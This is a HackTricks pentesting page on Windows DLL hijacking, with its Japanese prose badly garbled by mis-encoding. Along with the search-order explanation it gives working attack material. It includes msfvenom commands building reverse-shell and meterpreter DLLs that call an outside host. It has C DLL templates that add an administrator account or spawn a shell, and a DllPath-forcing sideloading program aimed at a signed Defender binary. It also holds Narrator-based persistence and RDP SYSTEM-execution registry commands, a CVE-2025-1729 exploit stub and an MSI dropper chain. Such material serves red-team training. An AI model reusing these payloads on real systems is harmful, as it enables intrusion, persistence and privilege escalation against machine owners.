Dll Hijacking
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã
åºæ¬æ å ±
DLL Hijacking ã¯ãä¿¡é Œãããã¢ããªã±ãŒã·ã§ã³ãæäœããŠæªæã®ãã DLL ãèªã¿èŸŒãŸããããšãæããŸãããã®çšèªã¯ DLL Spoofing, Injection, and Side-Loading ã®ãããªè€æ°ã®ææ³ãå å«ããŸããäž»ã«ã³ãŒãå®è¡ãæ°žç¶åããããŠçšã«æš©éææ Œã«å©çšãããŸããããã§ã¯ææ Œã«çŠç¹ãåœãŠãŠããŸããããã€ãžã£ãã¯ææ³èªäœã¯ç®çã«ãããããåºæ¬çã«åãã§ãã
äžè¬çãªææ³
DLL hijacking ã«ã¯ããã€ãã®æ¹æ³ããããã¢ããªã±ãŒã·ã§ã³ã® DLL ããŒãæŠç¥ã«ãã£ãŠããããæå¹æ§ãç°ãªããŸã:
- DLL Replacement: æ£èŠã® DLL ãæªæãããã®ãšå·®ãæ¿ããå¿ èŠã«å¿ã㊠DLL Proxying ã䜿ã£ãŠå ã® DLL ã®æ©èœãä¿æããæ¹æ³ã
- DLL Search Order Hijacking: æªæãã DLL ãæ£èŠã®ãã®ããå ã«æ€çŽ¢ããããã¹ã«çœ®ããã¢ããªã±ãŒã·ã§ã³ã®æ€çŽ¢ãã¿ãŒã³ãæªçšããæ¹æ³ã
- Phantom DLL Hijacking: ã¢ããªã±ãŒã·ã§ã³ãååšããªãå¿ èŠãª DLL ã ãšèª€èªããŠèªã¿èŸŒãããã«ãæªæãã DLL ãäœæããæ¹æ³ã
- DLL Redirection: ã¢ããªã±ãŒã·ã§ã³ãæªæãã DLL ã«åããããã«ã%PATH% ã .exe.manifest / .exe.local ãã¡ã€ã«ãªã©ã®æ€çŽ¢ãã©ã¡ãŒã¿ã倿Žããæ¹æ³ã
- WinSxS DLL Replacement: WinSxS ãã£ã¬ã¯ããªå ã®æ£èŠ DLL ãæªæãã DLL ã«çœ®æããæ¹æ³ã§ããã°ãã° DLL side-loading ãšé¢é£ããææ³ã
- Relative Path DLL Hijacking: ã³ããŒããã¢ããªã±ãŒã·ã§ã³ãšåããŠãŒã¶ãŒå¶åŸ¡ãã£ã¬ã¯ããªã«æªæãã DLL ãé 眮ããæ¹æ³ã§ãBinary Proxy Execution ææ³ã«äŒŒãŠããŸãã
Tip
DLL sideloading ã®äžã« HTML stagingãAES-CTR configsã.NET implants ãéããã¹ããããã€ã¹ãããã®ãã§ãŒã³ã«ã€ããŠã¯ã以äžã®ã¯ãŒã¯ãããŒãåç §ããŠãã ããã
Advanced Html Staged Dll Sideloading
æ¬ èœããŠãã DLL ã®æ€åº
ã·ã¹ãã å ã®æ¬ èœããŠãã DLL ãèŠã€ããæãäžè¬çãªæ¹æ³ã¯ãsysinternals ã® procmon ãå®è¡ããæ¬¡ã® 2 ã€ã®ãã£ã«ã¿ãèšå®ããããšã§ã:
.png)
.png)
ãã㊠File System Activity ã®ã¿ã衚瀺ããŸã:
.png)
äžè¬çãªæ¬ èœ DLL ãæ¢ããŠããå Žåã¯ããããæ°ç§éå®è¡ãããŸãŸã«ããŸãã
ç¹å®ã®å®è¡å¯èœãã¡ã€ã«å
ã®æ¬ èœ DLL ãæ¢ããŠããå Žåã¯ãâProcess Nameâ âcontainsâ <exec name> ã®ãããªå¥ã®ãã£ã«ã¿ãèšå®ããŠå®è¡ããã€ãã³ãã®ãã£ããã£ã忢ããŠãã ããã
æ¬ èœãã DLL ã®æªçš
æš©éææ Œãè¡ãããã«ãæãææãªã®ã¯ãç¹æš©ããã»ã¹ãèªã¿èŸŒãããšãã DLL ããæ€çŽ¢ãããå Žæã®ããããã«æžã蟌ããããšã§ãããããã£ãŠãïŒçšãªã±ãŒã¹ãšããŠïŒå ã® dll ã眮ãããŠãããã©ã«ãããå ã«æ€çŽ¢ããããã©ã«ãã« dll ãæžã蟌ããããããã¯å ã® dll ãã©ã®ãã©ã«ãã«ãååšããªããããªãæ€çŽ¢å¯Ÿè±¡ãšãªããã©ã«ãã« dll ãæžã蟌ããããã«ããŸãã
DLL æ€çŽ¢é åº
Inside the Microsoft documentation you can find how the Dlls are loaded specifically.
Windows ã¢ããªã±ãŒã·ã§ã³ã¯ããããããå®çŸ©ãããæ€çŽ¢ãã¹ã®ã»ããã«åŸã£ãŠ DLL ãæ€çŽ¢ããŸããæªæãã DLL ããããã®ãã£ã¬ã¯ããªã®ããããã«æŠç¥çã«é 眮ããããšã§ãæ¬æ¥ã® DLL ããå ã«èªã¿èŸŒãŸããŠããŸãããšã DLL hijacking ã®åé¡ãšãªããŸãããããé²ãã«ã¯ãã¢ããªã±ãŒã·ã§ã³ãå¿ èŠãšãã DLL ãåç §ããéã«çµ¶å¯Ÿãã¹ã䜿çšããããã«ããã®ãæå¹ã§ãã
以äžã¯ 32-bit ã·ã¹ãã ã§ã® DLL search order ã§ã:
- ã¢ããªã±ãŒã·ã§ã³ãèªã¿èŸŒãŸãããã£ã¬ã¯ããªã
- ã·ã¹ãã ãã£ã¬ã¯ããªããã¹ãååŸããã«ã¯ GetSystemDirectory 颿°ã䜿çšããŸãã(C:\Windows\System32)
- 16-bit ã·ã¹ãã ãã£ã¬ã¯ããªããã¹ãååŸãã颿°ã¯ãããŸããããæ€çŽ¢ãããŸãã (C:\Windows\System)
- Windows ãã£ã¬ã¯ããªããã¹ãååŸããã«ã¯ GetWindowsDirectory 颿°ã䜿çšããŸãã
- (C:\Windows)
- çŸåšã®ãã£ã¬ã¯ããªã
- PATH ç°å¢å€æ°ã«ãªã¹ããããŠãããã£ã¬ã¯ããªãããã¯ã¢ããªã±ãŒã·ã§ã³ããšã«æå®ããããã¹ãå«ã App Paths ã¬ãžã¹ããªããŒãå«ãŸãªãããšã«æ³šæããŠãã ãããApp Paths ããŒã¯ DLL æ€çŽ¢ãã¹ã®èšç®æã«ã¯äœ¿çšãããŸããã
ãã㯠SafeDllSearchMode ãæå¹ãªå Žåã® ããã©ã«ã ã®æ€çŽ¢é ã§ããç¡å¹ã«ãããšçŸåšã®ãã£ã¬ã¯ããªã 2 çªç®ã«äžãããŸãããã®æ©èœãç¡å¹ã«ããã«ã¯ãHKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode ã®ã¬ãžã¹ããªå€ãäœæã㊠0 ã«èšå®ããŸãïŒããã©ã«ãã¯æå¹ïŒã
ãã LoadLibraryEx 颿°ã LOAD_WITH_ALTERED_SEARCH_PATH ãšãšãã«åŒã°ãããšãæ€çŽ¢ã¯ LoadLibraryEx ãããŒãããŠããå®è¡ã¢ãžã¥ãŒã«ã®ãã£ã¬ã¯ããªããå§ãŸããŸãã
æåŸã«ãDLL ãååã®ã¿ã§ã¯ãªã絶察ãã¹ã§æå®ãããŠèªã¿èŸŒãŸããããšãããç¹ã«æ³šæããŠãã ããããã®å Žåããã® DLL ã¯ãã®ãã¹ã®ã¿ã§æ€çŽ¢ãããŸãïŒãã® DLL ã«äŸåé¢ä¿ãããå ŽåãäŸå DLL ã¯ååã§èªã¿èŸŒãŸããå Žåãšåæ§ã«æ€çŽ¢ãããŸãïŒã
æ€çŽ¢é åºã倿Žããä»ã®æ¹æ³ããããŸãããããã§ã¯èª¬æããŸããã
RTL_USER_PROCESS_PARAMETERS.DllPath ã䜿ã£ã sideloading ã®åŒ·å¶
æ°èŠäœæããããã»ã¹ã® DLL æ€çŽ¢ãã¹ã«æ±ºå®è«çã«åœ±é¿ãäžããé«åºŠãªæ¹æ³ãšããŠãntdll ã®ãã€ãã£ã API ã䜿ã£ãŠããã»ã¹ãäœæããéã« RTL_USER_PROCESS_PARAMETERS ã® DllPath ãã£ãŒã«ããèšå®ããæ¹æ³ããããŸããããã«æ»æè ãå¶åŸ¡ãããã£ã¬ã¯ããªãæå®ããããšã§ãã€ã³ããŒãããã DLL ãååã§è§£æ±ºããïŒçµ¶å¯Ÿãã¹ã§ã¯ãªããå®å šãªããŒããã©ã°ã䜿ã£ãŠããªãïŒã¿ãŒã²ããããã»ã¹ã«å¯Ÿãããã®ãã£ã¬ã¯ããªããæªæãã DLL ãèªã¿èŸŒãŸããããšãå¯èœã«ãªããŸãã
Key idea
- RtlCreateProcessParametersEx ã§ããã»ã¹ãã©ã¡ãŒã¿ãæ§ç¯ãããããããŒ/ã¢ã³ããã«ãŒãååšãããã£ã¬ã¯ããªãªã©ãèªåã®å¶åŸ¡ãããã©ã«ããæãã«ã¹ã¿ã DllPath ãæå®ããŸãã
- RtlCreateUserProcess ã§ããã»ã¹ãäœæããŸããã¿ãŒã²ãããã€ããªã DLL ãååã§è§£æ±ºãããšãããŒããŒã¯è§£æ±ºã®éã«ãã®æäŸããã DllPath ãåç §ããæªæãã DLL ãã¿ãŒã²ãã EXE ãšåãå Žæã«çœ®ãããŠããªããŠãä¿¡é Œã§ãã sideloading ãå¯èœã«ããŸãã
Notes/limitations
- ããã¯äœæãããåããã»ã¹ã«åœ±é¿ããçŸåšã®ããã»ã¹ã«ã®ã¿åœ±é¿ãã SetDllDirectory ãšã¯ç°ãªããŸãã
- ã¿ãŒã²ãã㯠DLL ãååã§ã€ã³ããŒãããããLoadLibrary ã§ååæå®ããŠèªã¿èŸŒãå¿ èŠããããŸãïŒçµ¶å¯Ÿãã¹ã§ã¯ãªããLOAD_LIBRARY_SEARCH_SYSTEM32/SetDefaultDllDirectories ã䜿çšããŠããªãããšïŒã
- KnownDLLs ãããŒãã³ãŒãããã絶察ãã¹ã¯ãã€ãžã£ãã¯ã§ããŸããããã©ã¯ãŒãããããšã¯ã¹ããŒãã SxS ã«ããåªå é äœãå€ããå ŽåããããŸãã
Minimal C example (ntdll, wide strings, simplified error handling):
Full C example: forcing DLL sideloading via RTL_USER_PROCESS_PARAMETERS.DllPath
```c #include// Prototype (not in winternl.h in older SDKs) typedef NTSTATUS (NTAPI *RtlCreateProcessParametersEx_t)( PRTL_USER_PROCESS_PARAMETERS *pProcessParameters, PUNICODE_STRING ImagePathName, PUNICODE_STRING DllPath, PUNICODE_STRING CurrentDirectory, PUNICODE_STRING CommandLine, PVOID Environment, PUNICODE_STRING WindowTitle, PUNICODE_STRING DesktopInfo, PUNICODE_STRING ShellInfo, PUNICODE_STRING RuntimeData, ULONG Flags );
typedef NTSTATUS (NTAPI *RtlCreateUserProcess_t)( PUNICODE_STRING NtImagePathName, ULONG Attributes, PRTL_USER_PROCESS_PARAMETERS ProcessParameters, PSECURITY_DESCRIPTOR ProcessSecurityDescriptor, PSECURITY_DESCRIPTOR ThreadSecurityDescriptor, HANDLE ParentProcess, BOOLEAN InheritHandles, HANDLE DebugPort, HANDLE ExceptionPort, PRTL_USER_PROCESS_INFORMATION ProcessInformation );
static void DirFromModule(HMODULE h, wchar_t *out, DWORD cch) { DWORD n = GetModuleFileNameW(h, out, cch); for (DWORD i=n; i>0; âi) if (out[i-1] == Lâ\â) { out[i-1] = 0; break; } }
int wmain(void) { // Target Microsoft-signed, DLL-hijackable binary (example) const wchar_t *image = Lâ\??\C:\Program Files\Windows Defender Advanced Threat Protection\SenseSampleUploader.exeâ;
// Build custom DllPath = directory of our current module (e.g., the unpacked archive) wchar_t dllDir[MAX_PATH]; DirFromModule(GetModuleHandleW(NULL), dllDir, MAX_PATH);
UNICODE_STRING uImage, uCmd, uDllPath, uCurDir; RtlInitUnicodeString(&uImage, image); RtlInitUnicodeString(&uCmd, Lâ"C:\Program Files\Windows Defender Advanced Threat Protection\SenseSampleUploader.exe"â); RtlInitUnicodeString(&uDllPath, dllDir); // Attacker-controlled directory RtlInitUnicodeString(&uCurDir, dllDir);
RtlCreateProcessParametersEx_t pRtlCreateProcessParametersEx = (RtlCreateProcessParametersEx_t)GetProcAddress(GetModuleHandleW(Lântdll.dllâ), âRtlCreateProcessParametersExâ); RtlCreateUserProcess_t pRtlCreateUserProcess = (RtlCreateUserProcess_t)GetProcAddress(GetModuleHandleW(Lântdll.dllâ), âRtlCreateUserProcessâ);
RTL_USER_PROCESS_PARAMETERS *pp = NULL; NTSTATUS st = pRtlCreateProcessParametersEx(&pp, &uImage, &uDllPath, &uCurDir, &uCmd, NULL, NULL, NULL, NULL, NULL, 0); if (st < 0) return 1;
RTL_USER_PROCESS_INFORMATION pi = {0}; st = pRtlCreateUserProcess(&uImage, 0, pp, NULL, NULL, NULL, FALSE, NULL, NULL, &pi); if (st < 0) return 1;
// Resume main thread etc. if created suspended (not shown here) return 0; }
</details>
éçšäžã®äœ¿çšäŸ
- æªæãã xmllite.dllïŒå¿
èŠãªé¢æ°ããšã¯ã¹ããŒãããããå®éã®ãã®ããããã·ãããã®ïŒãããªãã® DllPath ãã£ã¬ã¯ããªã«é
眮ããŸãã
- äžèšã®ææ³ã§ååã§ xmllite.dll ãåç
§ããããšãç¥ãããŠããçœ²åæžã¿ãã€ããªãèµ·åããŸããããŒãã¯æå®ããã DllPath ãä»ããŠã€ã³ããŒãã解決ããããªãã® DLL ã sideload ããŸãã
ãã®ææ³ã¯å®éã®äºäŸã§ãã«ãã¹ããŒãžã® sideloading ãã§ãŒã³ãé§åããããã«äœ¿ãããŠããããšã芳枬ãããŠããŸãïŒåæã®ã©ã³ãã£ãŒããã«ã㌠DLL ããããããããããã«ã¹ã¿ã DllPath ãæã€ Microsoft-signed ã§ hijackable ãªãã€ããªãçæããŠãã¹ããŒãžã³ã°ãã£ã¬ã¯ããªããæ»æè
ã® DLL ãããŒããããŸãã
#### Windows ããã¥ã¡ã³ãã«ããã dll æ€çŽ¢é ã®äŸå€
Windows ããã¥ã¡ã³ãã§ã¯ãæšæºã® DLL æ€çŽ¢é ã«å¯Ÿããããã€ãã®äŸå€ãèšèŒãããŠããŸãïŒ
- **ã¡ã¢ãªå
ã§ãã§ã«ããŒããããŠãããã®ãšåãååãå
±æãã DLL ãçºèŠãããå Žå**ãã·ã¹ãã ã¯éåžžã®æ€çŽ¢ããã€ãã¹ããŸãã代ããã«ãããã©ã«ãã§ã¡ã¢ãªå
ã® DLL ã䜿çšããåã«ããªãã€ã¬ã¯ããš manifest ã®ç¢ºèªãè¡ããŸãã**ãã®å Žåãã·ã¹ãã 㯠DLL ã®æ€çŽ¢ãå®è¡ããŸããã**
- DLL ãçŸåšã® Windows ããŒãžã§ã³ã® **known DLL** ãšããŠèªèãããå Žåãã·ã¹ãã ã¯ãã®ããŒãžã§ã³ã® known DLL ãšãã®äŸå DLL ã䜿çšãã**æ€çŽ¢ããã»ã¹ãçç¥ããŸã**ãã¬ãžã¹ããªã㌠**HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs** ã«ã¯ãããã® known DLL ã®äžèŠ§ãæ ŒçŽãããŠããŸãã
- **DLL ãäŸåé¢ä¿ãæã€å Žå**ããããã®äŸå DLL ã®æ€çŽ¢ã¯ãæåã® DLL ããã«ãã¹ã§èå¥ãããŠãããã©ããã«é¢ãããããŸãã§äŸå DLL ã **module names** ã®ã¿ã§ç€ºãããŠãããã®ããã«è¡ãããŸãã
### æš©éææ Œ
**èŠä»¶**:
- **ç°ãªãæš©é**ïŒæšªæ¹åãŸãã¯åŽé¢ç§»åïŒã§åäœããŠããããŸãã¯åäœããäºå®ã®ããã»ã¹ã§ã**DLL ãååšããªã**ãã®ãç¹å®ããŸãã
- **DLL** ã**æ€çŽ¢ããã**ä»»æã® **ãã£ã¬ã¯ããª** ã«å¯Ÿã㊠**æžã蟌ã¿ã¢ã¯ã»ã¹** ãå©çšå¯èœã§ããããšã確èªããŸããå Žæã¯å®è¡ãã¡ã€ã«ã®ãã£ã¬ã¯ããªãã·ã¹ãã ãã¹å
ã®ãã£ã¬ã¯ããªã§ããå¯èœæ§ããããŸãã
ãããšãèŠä»¶ã¯èŠã€ããã®ãè€éã§ãããªããªã **ããã©ã«ãã§ã¯ç¹æš©ãæã€å®è¡ãã¡ã€ã«ã DLL ãæ¬ ããŠããããšãèŠã€ããã®ã¯ããªãçš** ã§ãããããã« **ã·ã¹ãã ãã¹ã®ãã©ã«ãã«æžãèŸŒã¿æš©éãæã£ãŠããããšã¯ãã£ãšçš**ïŒéåžžã¯æãŠãŸããïŒã ããã§ããããããèšå®ã誀ã£ãŠããç°å¢ã§ã¯ããã¯å¯èœã§ãã\
éè¯ãèŠä»¶ãæºããç¶æ³ã§ããã°ã[UACME](https://github.com/hfiref0x/UACME) ãããžã§ã¯ãã確èªãããšè¯ãã§ãããããããžã§ã¯ãã® **äž»ãªç®ç㯠UAC ããã€ãã¹ããããš** ã§ããã䜿çšããŠãã Windows ããŒãžã§ã³åãã® Dll hijaking ã® **PoC** ãèŠã€ãããããããŸããïŒããããæžãèŸŒã¿æš©éã®ãããã©ã«ãã®ãã¹ã倿Žããã ãã§æžã¿ãŸãïŒã
ãªãã**ãã©ã«ãã®æš©éã確èªãã**ã«ã¯ã次ãå®è¡ããŸã:
```bash
accesschk.exe -dqv "C:\Python27"
icacls "C:\Python27"
ãã㊠PATH å ã®ãã¹ãŠã®ãã©ã«ãã®æš©éã確èªãã:
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
次ã®ã³ãã³ãã§ executable ã® imports ãš dll ã® exports ã確èªã§ããŸã:
dumpbin /imports C:\path\Tools\putty\Putty.exe
dumpbin /export /path/file.dll
æžãèŸŒã¿æš©éãæã€System Path folderã§Dll HijackingãæªçšããŠæš©éãææ Œããæ¹æ³ã®ãã«ã¬ã€ãã¯æ¬¡ãåç §ããŠãã ãã:
Writable Sys Path +Dll Hijacking Privesc
èªååããŒã«
Winpeas 㯠system PATH å
ã®ä»»æã®ãã©ã«ãã«å¯ŸããŠæžãèŸŒã¿æš©éããããããã§ãã¯ããŸãã
ãã®è匱æ§ãçºèŠããã®ã«æçšãªä»ã®èªååããŒã«ãšããŠã¯ PowerSploit functions: Find-ProcessDLLHijack, Find-PathDLLHijack and Write-HijackDll ããããŸãã
äŸ
ããæªçšå¯èœãªã·ããªãªãèŠã€ããå Žåããããæåãããããã«æãéèŠãªäºé
ã®äžã€ã¯ãå®è¡ãã¡ã€ã«ãããããã€ã³ããŒããããã¹ãŠã®é¢æ°ãå°ãªããšããšã¯ã¹ããŒãããdllãäœæããããšã§ãããªããDll Hijackingã¯escalate from Medium Integrity level to High (bypassing UAC)ãŸã㯠High Integrity to SYSTEMãžã®ææ Œã«äŸ¿å©ã§ãã** **
æå¹ãªdllãäœæããæ¹æ³ã®äŸã¯ãå®è¡ã®ããã®dll hijackingã«çŠç¹ãåœãŠããã®ç ç©¶å
ã§èŠã€ããããšãã§ããŸã: https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows.
ããã«ã次ã®ã»ã¯ã·ã§ã³ã§ã¯ãã³ãã¬ãŒããšããŠããããã¯äžèŠãªé¢æ°ããšã¯ã¹ããŒãããdllãäœæããããã«åœ¹ç«ã€åºæ¬ç㪠dll ã³ãŒããããã€ãèŠãããšãã§ããŸãã
Creating and compiling Dlls
Dll Proxifying
åºæ¬çã«ãDll proxyã¯èªã¿èŸŒãŸãããšãã«æªæã®ããã³ãŒããå®è¡ã§ããDllã§ããããã€ãã¹ãŠã®åŒã³åºããå®ã©ã€ãã©ãªã«äžç¶ããããšã§æåŸ ã©ããã«å ¬éããã³åäœããŸãã
ããŒã« DLLirant ã Spartacus ã䜿ããšãå®è¡ãã¡ã€ã«ãæå®ããŠãããã·åãããã©ã€ãã©ãªãéžæããããã·åããã dll ãçæããããDll ãæå®ããŠãããã·åããã dll ãçæãããã§ããŸãã
Meterpreter
Get rev shell (x64):
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
meterpreter (x86) ãååŸãã:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
ãŠãŒã¶ãŒãäœæãã (x86ãx64 ããŒãžã§ã³ã¯èŠåœãããŸããã§ãã):
msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll
èªåã§çšæãã
ããã€ãã®å Žåãã³ã³ãã€ã«ããDll㯠victim process ã«ãã£ãŠèªã¿èŸŒãŸããè€æ°ã®é¢æ°ã export several functions ããå¿ èŠããããŸãããããã®é¢æ°ãååšããªãå Žåãbinary ã¯ããããããŒãã§ãããexploit ã¯å€±æããŸãã
C DLL template (Win10)
```c // Tested in Win10 // i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared #include#include <windows.h> BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){ if (dwReason == DLL_PROCESS_ATTACH){ system(âcmd.exe /k net localgroup administrators user /addâ); ExitProcess(0); } return TRUE; }
<details>
<summary>ãŠãŒã¶ãŒäœæãè¡ã C++ DLL ã®äŸ</summary>
```c
//x86_64-w64-mingw32-g++ -c -DBUILDING_EXAMPLE_DLL main.cpp
//x86_64-w64-mingw32-g++ -shared -o main.dll main.o -Wl,--out-implib,main.a
#include <windows.h>
int owned()
{
WinExec("cmd.exe /c net user cybervaca Password01 ; net localgroup administrators cybervaca /add", 0);
exit(0);
return 0;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
owned();
return 0;
}
ã¹ã¬ãããšã³ããªãæã€ä»£æ¿ C DLL
```c //Another possible DLL // i686-w64-mingw32-gcc windows_dll.c -shared -lws2_32 -o output.dll#include<windows.h> #include<stdlib.h> #include<stdio.h>
void Entry (){ //Default function that is executed when the DLL is loaded system(âcmdâ); }
BOOL APIENTRY DllMain (HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call){ case DLL_PROCESS_ATTACH: CreateThread(0,0, (LPTHREAD_START_ROUTINE)Entry,0,0,0); break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DEATCH: break; } return TRUE; }
</details>
## ã±ãŒã¹ã¹ã¿ãã£: Narrator OneCore TTS Localization DLL Hijack (Accessibility/ATs)
Windows ã® Narrator.exe ã¯èµ·åæã«äºæž¬å¯èœãªèšèªåºæã® localization DLL ããããŒãããããããã€ãžã£ãã¯ããããšã§ä»»æã®ã³ãŒãå®è¡ãšæ°žç¶åãå¯èœã§ãã
Key facts
- Probe path (current builds): `%windir%\System32\speech_onecore\engines\tts\msttsloc_onecoreenus.dll` (EN-US).
- Legacy path (older builds): `%windir%\System32\speech\engine\tts\msttslocenus.dll`.
- If a writable attacker-controlled DLL exists at the OneCore path, it is loaded and `DllMain(DLL_PROCESS_ATTACH)` executes. No exports are required.
Discovery with Procmon
- Filter: `Process Name is Narrator.exe` and `Operation is Load Image` or `CreateFile`.
- Start Narrator and observe the attempted load of the above path.
æå°éã®DLL
```c
// Build as msttsloc_onecoreenus.dll and place in the OneCore TTS path
BOOL WINAPI DllMain(HINSTANCE h, DWORD r, LPVOID) {
if (r == DLL_PROCESS_ATTACH) {
// Optional OPSEC: DisableThreadLibraryCalls(h);
// Suspend/quiet Narrator main thread, then run payload
// (see PoC for implementation details)
}
return TRUE;
}
OPSEC ãä¿ã€
- A naive hijack will speak/highlight UI. To stay quiet, on attach enumerate Narrator threads, open the main thread (
OpenThread(THREAD_SUSPEND_RESUME)) andSuspendThreadit; continue in your own thread. See PoC for full code.
Trigger and persistence via Accessibility configuration
- User context (HKCU):
reg add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Accessibility" /v configuration /t REG_SZ /d "Narrator" /f - Winlogon/SYSTEM (HKLM):
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility" /v configuration /t REG_SZ /d "Narrator" /f - With the above, starting Narrator loads the planted DLL. On the secure desktop (logon screen), press CTRL+WIN+ENTER to start Narrator.
RDP-triggered SYSTEM execution (lateral movement)
- Allow classic RDP security layer:
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v SecurityLayer /t REG_DWORD /d 0 /f - RDP to the host, at the logon screen press CTRL+WIN+ENTER to launch Narrator; your DLL executes as SYSTEM on the secure desktop.
- Execution stops when the RDP session closesâinject/migrate promptly.
Bring Your Own Accessibility (BYOA)
- You can clone a built-in Accessibility Tool (AT) registry entry (e.g., CursorIndicator), edit it to point to an arbitrary binary/DLL, import it, then set
configurationto that AT name. This proxies arbitrary execution under the Accessibility framework.
Notes
- Writing under
%windir%\System32and changing HKLM values requires admin rights. - All payload logic can live in
DLL_PROCESS_ATTACH; no exports are needed.
Case Study: CVE-2025-1729 - Privilege Escalation Using TPQMAssistant.exe
This case demonstrates Phantom DLL Hijacking in Lenovoâs TrackPoint Quick Menu (TPQMAssistant.exe), tracked as CVE-2025-1729.
è匱æ§ã®è©³çް
- Component:
TPQMAssistant.exelocated atC:\ProgramData\Lenovo\TPQM\Assistant\. - Scheduled Task:
Lenovo\TrackPointQuickMenu\Schedule\ActivationDailyScheduleTaskruns daily at 9:30 AM under the context of the logged-on user. - Directory Permissions: Writable by
CREATOR OWNER, allowing local users to drop arbitrary files. - DLL Search Behavior: Attempts to load
hostfxr.dllfrom its working directory first and logs âNAME NOT FOUNDâ if missing, indicating local directory search precedence.
ãšã¯ã¹ããã€ãã®å®è£
An attacker can place a malicious hostfxr.dll stub in the same directory, exploiting the missing DLL to achieve code execution under the userâs context:
#include <windows.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD fdwReason, LPVOID lpReserved) {
if (fdwReason == DLL_PROCESS_ATTACH) {
// Payload: display a message box (proof-of-concept)
MessageBoxA(NULL, "DLL Hijacked!", "TPQM", MB_OK);
}
return TRUE;
}
æ»æãããŒ
- æšæºãŠãŒã¶ãšããŠã
hostfxr.dllãC:\ProgramData\Lenovo\TPQM\Assistant\ã«çœ®ãã - ã¹ã±ãžã¥ãŒã«ãããã¿ã¹ã¯ãçŸåšã®ãŠãŒã¶ã³ã³ããã¹ãã§åå9:30ã«å®è¡ãããã®ãåŸ ã€ã
- ã¿ã¹ã¯å®è¡æã«ç®¡çè ããã°ãªã³ããŠãããšãæªæã®ããDLLã管çè ã»ãã·ã§ã³ã§ medium integrity ã®æš©éã§å®è¡ãããã
- æšæºç㪠UAC ãã€ãã¹ææ³ãé£éãããmedium integrity ãã SYSTEM æš©éãžææ Œããã
äºäŸ: MSI CustomAction Dropper + DLL Side-Loading via Signed Host (wsc_proxy.exe)
Threat actors ã¯ãã°ãã° MSI ããŒã¹ã® dropper ã DLL side-loading ãšçµã¿åãããä¿¡é Œãããçœ²åæžã¿ããã»ã¹ã®äžã§ãã€ããŒããå®è¡ããã
Chain overview
- ãŠãŒã¶ã MSI ãããŠã³ããŒããããGUI ã€ã³ã¹ããŒã«äžã« CustomAction ããµã€ã¬ã³ãã§å®è¡ããïŒäŸïŒLaunchApplication ã VBScript ã¢ã¯ã·ã§ã³ïŒãåã蟌ãŸãããªãœãŒã¹ããæ¬¡æ®µãåæ§ç¯ããã
- dropper ã¯æ£åœãªçœ²åæžã¿ EXE ãšæªæãã DLL ãåããã£ã¬ã¯ããªã«æžã蟌ãïŒäŸ: Avast-signed wsc_proxy.exe + attacker-controlled wsc.dllïŒã
- çœ²åæžã¿ EXE ãèµ·åããããšãWindows ã® DLL æ€çŽ¢é ã«ããäœæ¥ãã£ã¬ã¯ããªããæåã« wsc.dll ãããŒããããçœ²åæžã¿èŠªããã»ã¹ã®äžã§æ»æè ã³ãŒããå®è¡ãããïŒATT&CK T1574.001ïŒã
MSI analysis (what to look for)
- CustomAction ããŒãã«ïŒ
- å®è¡ãã¡ã€ã«ã VBScript ãå®è¡ãããšã³ããªãæ¢ããçããããã¿ãŒã³ã®äŸïŒLaunchApplication ãããã¯ã°ã©ãŠã³ãã§åã蟌ã¿ãã¡ã€ã«ãå®è¡ããã
- Orca (Microsoft Orca.exe) ã§ãCustomActionãInstallExecuteSequenceãBinary ããŒãã«ã確èªããã
- MSI CAB å ã®åã蟌ã¿ïŒåå²ãã€ããŒãïŒ
- 管çè æœåº: msiexec /a package.msi /qb TARGETDIR=C:\out
- ãŸã㯠lessmsi ã䜿çš: lessmsi x package.msi C:\out
- VBScript CustomAction ã«ãã£ãŠé£çµã»åŸ©å·ãããè€æ°ã®å°ããªæçãæ¢ããããããæµãïŒ
' VBScript CustomAction (high level)
' 1) Read multiple fragment files from the embedded CAB (e.g., f0.bin, f1.bin, ...)
' 2) Concatenate with ADODB.Stream or FileSystemObject
' 3) Decrypt using a hardcoded password/key
' 4) Write reconstructed PE(s) to disk (e.g., wsc_proxy.exe and wsc.dll)
wsc_proxy.exe ã䜿ã£ãå®è·µç㪠sideloading
- 次ã®2ã€ã®ãã¡ã€ã«ãåããã©ã«ãã«é 眮ããŠãã ãã:
- wsc_proxy.exe: æ£èŠçœ²åæžã¿ãã¹ã (Avast)ãããã»ã¹ã¯ãã®ãã£ã¬ã¯ããªããååã§ wsc.dll ãããŒãããããšããŸãã
